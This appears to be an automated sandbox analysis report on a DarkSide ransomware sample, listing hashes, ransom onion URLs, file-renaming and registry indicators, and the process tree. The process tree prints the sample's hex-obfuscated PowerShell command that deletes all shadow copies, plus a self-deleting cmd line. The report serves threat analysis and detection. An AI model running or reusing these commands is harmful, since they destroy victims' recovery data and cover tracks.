Analysis
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max time kernel
99s -
max time network
135s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
26-07-2021 12:57
Static task
static1
Behavioral task
behavioral1
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe
Resource
win10v20210408
General
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Target
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe
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Size
59KB
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MD5
cfcfb68901ffe513e9f0d76b17d02f96
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SHA1
766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
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SHA256
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
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SHA512
0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
Malware Config
Extracted
C:\\README.21b2020d.TXT
darkside
http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF
http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 20 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\BlockConvert.png => C:\Users\Admin\Pictures\BlockConvert.png.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\RestartEdit.raw => C:\Users\Admin\Pictures\RestartEdit.raw.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\MergeUnregister.tiff.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\ResolveRegister.tif => C:\Users\Admin\Pictures\ResolveRegister.tif.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\ResolveRegister.tif.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\SplitRedo.png => C:\Users\Admin\Pictures\SplitRedo.png.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\CompleteDisconnect.tiff 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\JoinOut.tif => C:\Users\Admin\Pictures\JoinOut.tif.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\MergeUnregister.tiff 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\RestartEdit.raw.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\BlockConvert.png.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\CompleteDisconnect.tiff.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\MergeUnregister.tiff => C:\Users\Admin\Pictures\MergeUnregister.tiff.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\JoinOut.tif.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\SplitRedo.png.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\StopEdit.raw => C:\Users\Admin\Pictures\StopEdit.raw.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\StopEdit.raw.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\CompleteDisconnect.tiff => C:\Users\Admin\Pictures\CompleteDisconnect.tiff.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File renamed C:\Users\Admin\Pictures\CopyReset.raw => C:\Users\Admin\Pictures\CopyReset.raw.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe File opened for modification C:\Users\Admin\Pictures\CopyReset.raw.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP" 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP" 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exepid process 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10" 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe -
Modifies registry class 5 IoCs
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico" 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d" 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exe17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exepid process 3280 powershell.exe 3280 powershell.exe 3280 powershell.exe 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeSecurityPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeTakeOwnershipPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeLoadDriverPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeSystemProfilePrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeSystemtimePrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeProfSingleProcessPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeIncBasePriorityPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeCreatePagefilePrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeBackupPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeRestorePrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeShutdownPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeDebugPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeSystemEnvironmentPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeRemoteShutdownPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeUndockPrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeManageVolumePrivilege 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: 33 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: 34 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: 35 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: 36 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe Token: SeDebugPrivilege 3280 powershell.exe Token: SeBackupPrivilege 3884 vssvc.exe Token: SeRestorePrivilege 3884 vssvc.exe Token: SeAuditPrivilege 3884 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exedescription pid process target process PID 808 wrote to memory of 3280 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe powershell.exe PID 808 wrote to memory of 3280 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe powershell.exe PID 808 wrote to memory of 4464 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe cmd.exe PID 808 wrote to memory of 4464 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe cmd.exe PID 808 wrote to memory of 4464 808 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe"C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.sample.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3280 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL2⤵PID:4464
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3884
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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MD5
0adfbebc578f5fc765e2f9438fdfc340
SHA14022910386164e5b28234e79e2521acf7a2a6890
SHA256dc4c9439c3fbf7853a742bcdc020f52191006065c10dea5537bf446c3969f3c5
SHA512b5db506d3e926df28ddbd5067e9efbc8b5ba74c7a8f3ff2cbeb2a862e83a5c587ec1a2ad375347d5f91defbada7d23bf159ee6a2bd2c23698cb086679d303ab5